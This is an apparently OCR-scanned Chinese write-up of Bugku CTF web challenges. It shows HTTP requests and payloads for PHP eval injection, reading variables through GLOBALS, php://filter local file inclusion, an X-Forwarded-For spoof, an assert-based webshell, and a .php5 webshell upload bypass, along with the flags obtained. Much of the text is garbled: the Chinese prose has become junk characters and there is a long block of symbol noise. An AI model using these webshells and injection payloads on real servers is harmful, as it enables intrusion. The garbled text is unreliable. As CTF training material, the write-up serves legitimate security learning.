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$num=$_GET[ 'num'];
if(!is_numeric($num))

{

echo $num;
if($num==1)
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}
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GET / HTTP/1.1

Host: flag.baidu.com ##&E{ Host

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121
Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Connection: close
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HTTP/1.1 200 OK

Server: nginx

Date: Fri, 08 Mar 2019 ©5:20:52 GMT
Content-Type: text/html

Connection: close

Content-Length: 614

iné<html>

<head>

<meta charset="utf-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<meta name="description” content="">
<meta name="author" content="">
<title>Dummy game</title>

</head>

<script language="JavaScript">

function myrefresh(){

window.location.reload();

}

setTimeout ('myrefresh()',500);

</script>

<body>

<center><strong>I want to play Dummy game with othersAfAjBut I can't stop!</strong></center>
<center>Stop at panda ! u will get flag</center>
<center><div><img src="11.7jpg" /></div></center><br>
<a style="display:none">flag is here~</a></body>
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http://flag.bugku.com

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 08 Mar 2019 05:18:07 GMT
Content-Type: text/html

Connection: close

Content-Length: 630

ing<html>

<head>

<meta charset="utf-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<meta name="description" content="">
<meta name="author" content="">
<title>Dummy game</title>

</head>

<script language="JavaScript">

function myrefresh(){

window.location.reload();

}

setTimeout ('myrefresh()',500);

</script>

<body>

<center><strong>I want to play Dummy game with othersAfA;But I can't stop!</strong></center>
<center>Stop at panda ! u will get flag</center>
<center><div><img src="10.7jpg"/></div></center><br>

<a style="display:none">flag{dummy_game_1s_s@ popular}</a></body>
</html>
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“<?php

include "flag.php";

$a = @%_REQUEST[ 'hello'];
eval( "var_dump($a);");
show_source(__FILE_ );
2>
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B #H#iE payload: ?hello=file('flag.php')
183 flag: flag{bug-ctf-gg-99}

file_get contents('flag.php')

show_source('flag.php')
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flag In the variable !

error_reporting(@
include "flagl.php"
highlight_file(__ file__
if(isset ‘args'

= ‘args'
if(!preg match("/"\w+$/"

die("args error!"

eval("var_dump( )"
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2 b ¥ payload: ?args=GLOBALS
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ND T+ CU DI+ ID [+ 01T D [+ D+ [+ DT+ LT OD [+ DT T+ CH DI+ DD T+ D11+ CO DT T+ DI0 01D [+ 1+ DT+ [+ 01T 1+CT
ICO1+DD [+ + 011+ LT+ D LTI+ (O DD DCCI T LI+ DD T+ D11+ O DT+ DI0 01D [+ + DT+ D+ D11 T+ LI+ DD D+ LT+ 1+ LT+ CHU LT+
(+LI1+CHTI+ID D+ 0T+ L+ LT T+ U DD+ DD T+ DT T DD D+ DT+ DT+ D1 T+ CH LI+ DT D LI+ DD [+ DD (O DD I+ DI 0T D) [+ 14T
T+ 1+ I+ DD DO+ DT+ CH LI+ ID [+ D11+ LT+ DD D O]+ D1+ LD T+ CO LD+ DD T+ D1 DD [+ LD+ [+ D111+ (DI 0T T+ 0D
YT+ I+ DO+ L1+ L T+ OO LT+ DD [+ D11+ CH DI+ DD T+ + DT+ COT DT T+ DD [+ LTI+ COD D DT+ DD [+ LT T+ (O DT T+ DD LT
ID+HI+HOT1+C LI DT+ 1+ CH LI+ ID [+O I+ CH LT O D+ DT+ DT+ D1 D+ CH LI+ DD [+ LTI+ D) [+ [T+ 1+ [T+ 1+
1+CH I+ ID [+ I+ LT+ OI D DI+ DD [+ 011+ O DT+ DI D OI D [+ 1+ D1+ D+ DT T+ L LI+ DD D+ LT+ D11+ CH LI+ DD [+ 0T+ CH LT+
DU+ 1+ [T+ O I+ ID [+ LT D [+ LI+ [+ D11+ CH LI+ DD [+ I+ DT D D+ D1+ P+ D1+ [+ DT 11T L+ P+ LD+ 1+ [T+ [+ 1+ [T D T
HA[1]+ (U LI+ID D1+ 0T+ 0D O O+ T II+CIT0I D [+ + DT+ L+ 01T 1+ CU LI+ DD [+ 011+ LT+ DD [+ 1+ LT+ LTI D T
W1+ [T+ O DI+ DI0 0T D [+ + DT+ D+ D1 T+ COT DL DT+ DD [+ LT T+ (O DD T+ DT 0T D) [+ 1+ D+ [+ L1 T+ CL LD+ DD DI+ 1+ 1+ [T+ CH LT+
D1+ I+ID D0+ L1+ DT+ OO LT+ DD [+ D11 T+ DD D+ LI+ D1+ LD T+ LT+ DD D+ T+ 1+ [+ 1+ D11 O T+ D1 D [+ 011+
P[]+ [T+ ]+ [+ D LD+ 1+ [T LT D+ COT DT I+ DD D+ 01+ 1401 D)

E M3, KBLFLA jother Zifd
UL HEAEZR 6 BizfT 52 flag:
ctf{whatfk}

EIE 58, ARG A BEHR A

KLEFR

T B HRAE

F W Burp &

1E Response B &I flag:
flag{Bugku k8 23s istra}

P 35t 5 B

JERS IR T 2 Dirsearch FA 33 i, K B shell.php
BEN, R —MRAHE

BB WHIE, % R Burp &%

18 Burp B3 Passwords 1E 5 BURHE
ZJ5 K hack [ B FEA [\ F HoAfh
TERATHE B IRAL hack, 18 2 flag:

flag{hack_bug ku@35}

BHERARS

HBEN R — A B it ST

RN B B R4 HEW P 42 admin

BEESI N TG AT, B B TIPSR IV, EHE R AV B R B M, IPCHTR.
3 HE R B B3 1P bt (BRI SA GRS HRhR 45)
Burp &, B E



POST / HTTP/1.1

Host: 123.206.31.85:1003

Content-Length: 20

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121
Safari/537.36

Origin: http://123.206.31.85:1003

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

X-Forwarded-For: 127.0.0.1 #{hisZ4MEH RIP

Referer: http://123.206.31.85:1003/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

user=admin&pass=asdf

A2, 6 &

Invalid credentials! Please try again!
RGN, AT LA B A
EEH M IR & I

<!-- dGVzdDEyMw== -->

FE k2 Basebd N

fEEE 45 3 test123 J5 I H G

R 5% flag:

The flag is: 85ff2eed4171396724bae20cObd851f6b
R ARRE R

web4

HARREF G
EFE—B JS AL

<script>

var pl = '%66%75%6e%63%74%69%61%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%7 2%20%61%3d%64%61%63%75%6d
%65%6€%74%2e%67%65%74%A5%6C%65%6d%65%6e%74%A2%79%49%64%28%22%70%61%7 3%73%77%6 %7 2%64%22%29%3b%69%66%28%22%7 5%6€%
647%65%66%69%6€%65%64%22%21%3d%74%79%70%65%61%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62 " ;

var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6C%75%65%29%7 2%65%74%75%7 2
%6€%21%30%3b%61%6C%65%72%74%28%22%A45%7 2%7 2%61%72%22%29%3b%61%2e%66%6T%63%75%73%28%29%3b%7 2%65%74%75%7 2%6€%21%31%
7d%7d%64%61%63%75%6d%65%6e%74%2e%67%65%74%A5%6 C%65%6d%65%66€%74%A2%7 9%A9%64%28%22%6 C%65%76%65%6 C%51%75%65%7 3%74%2
2%29%2e%6T%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b " ;

eval(unescape(pl) + unescape( '%35%34%61%61%32"' + p2));

</script>

%3 eval BEAE Console Biz{T
H B E S



function checkSubmit(){

var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!o;
alert("Error");
a.focus();
return!1l

}

)
document.getElementById("levelQuest").onsubmit=checkSubmit;

SHTJEIRA 67d709b2b54aa2aa648cf6e87a7114F1
23 flag:
KEY{J22JK-HS11}

flag7E index &

R R A —MEEE click me? no

Riff G URL J5H N file=show.php

182 php:/filter

#Ji& payload: ?file=php://filter/read=convert.base64-encode/resource=index.php
53| Base64 INZ K index.php J5#Y,Base64 fi#iL 15 3

<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){
echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$ GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif Llacol_si_siht}
?>
</html>

R flag:
flag{edulcni_elif lacol si_siht}

PTE B AR i file=php:/filter/read=convert. base64-encode/resource=index.php & X

BhRXRE—MilexEFEHgetSHiLiE, php//R—FihiLLZFR, php:/flter/Z—Fhj a4 Sc 4B, /read=convert.base64-
encode/F R LB 7 R Abase644miG 5, resource=index.phpZx H#x 3C4F Aindex.php.

B ARB XA ST S Blindex phpHI¥ERS, T HE U A4, FEIVEHEF Hinclude®#, XANRR MIMBFI A php X3k
T, WRPAT AR, R B S KPR .

miinclude ) I 252 A P ## i, BrLB S BATE R MfileS%, Kinclude() %5 A Tindex phpfibase644mig g, F AR
base644mtig X, FTUABAT AR, REVERG, FrUARMNEE T EEKbasebd4 kN, EIGRITA,

WRA#ATbase64%id e N, MEEEZIAT, Mflaghifs BAERES, REAIIK,

BAVEE — TIRES FEX .../ tp data input BiE 38, HS2iXE R php:/ i i Hoth 75 2



A — g

<?php
$poc="at#tst#ste#r#t";
$poc_1=explode("#",$poc);
$poc_2=$%$poc_1[0].$poc_1[1].%$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s"'])

?>

explode() B $pos LA # AFPRITHEEH $pos_1 HH
g¢pos 2 F . ¥ ¢$pos_1 BAHEER assert

A AHATEEARD
LE flag

print_r(glob(".php)) BEH .php X1
print_r(glob(’txt’)) $2EL .txt ST
print_r(scandir(’./’)) #2481 B 3%, 35 H

R Getshell
J5 8% 42 2B 42 BRI AN 2K R A6

WSR2 walf 4% UL, Bl Content-type /i F R K/NE W LG AW, (H18 5B LK ST ABIA R &350, 10 RS %
KIS RER, —MBEN LER ST DSENT . AR5 5 & E AT &S0, X BRSO G 4% 4 BU8 jpg Fl.png #8AS AT
17, ED 5% 584 1B php2, php3, php4, php5, phps, pht, phtm, phtml (phpfI%I4) , &I R Aphp5¥ A it i, MIh Lt
1&, 183lflag

—1 L 1 1 1

POST fwebh3/index.php HTTP/L1.1

Host: 120.24.8€f.145:800z2

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/Z0L00Ll0Ll Firefox/52.0
Acecept: text/html,application/xhtml+xml, application/xml;q=0.9, %/ *;c=0.8
Accept-Languages: zh-CHN, zh;qgq=0.8,en-U3;q=0.5,en;q=0.3

Referer: http://120.24.86.145:8002/webhd/ index.php

Cookie: bdshare firstime=1517112852781

Connection: close

Upgrade-Insecure-FRequests: 1

Content-Type: mlllti t/form-data; boundary=——-—————————— S9057£569072
Content-Length: 318\

————————————————————————————— 990576569072 Zeilwalf
Content-Disposition: form-data; nams="file"; filename="l:3.php5r
Content-Type: images/png ’
<?php

. i . I Sty D U
Eivaus_lﬂos*r[ 'margin'l): bi'a T‘J ﬁ';iil‘_ fﬁ:
————————————————————————————— 990576569072

Content-Disposition: form-data; name="submit"

————————————————————————————— S905T7E5E9072——
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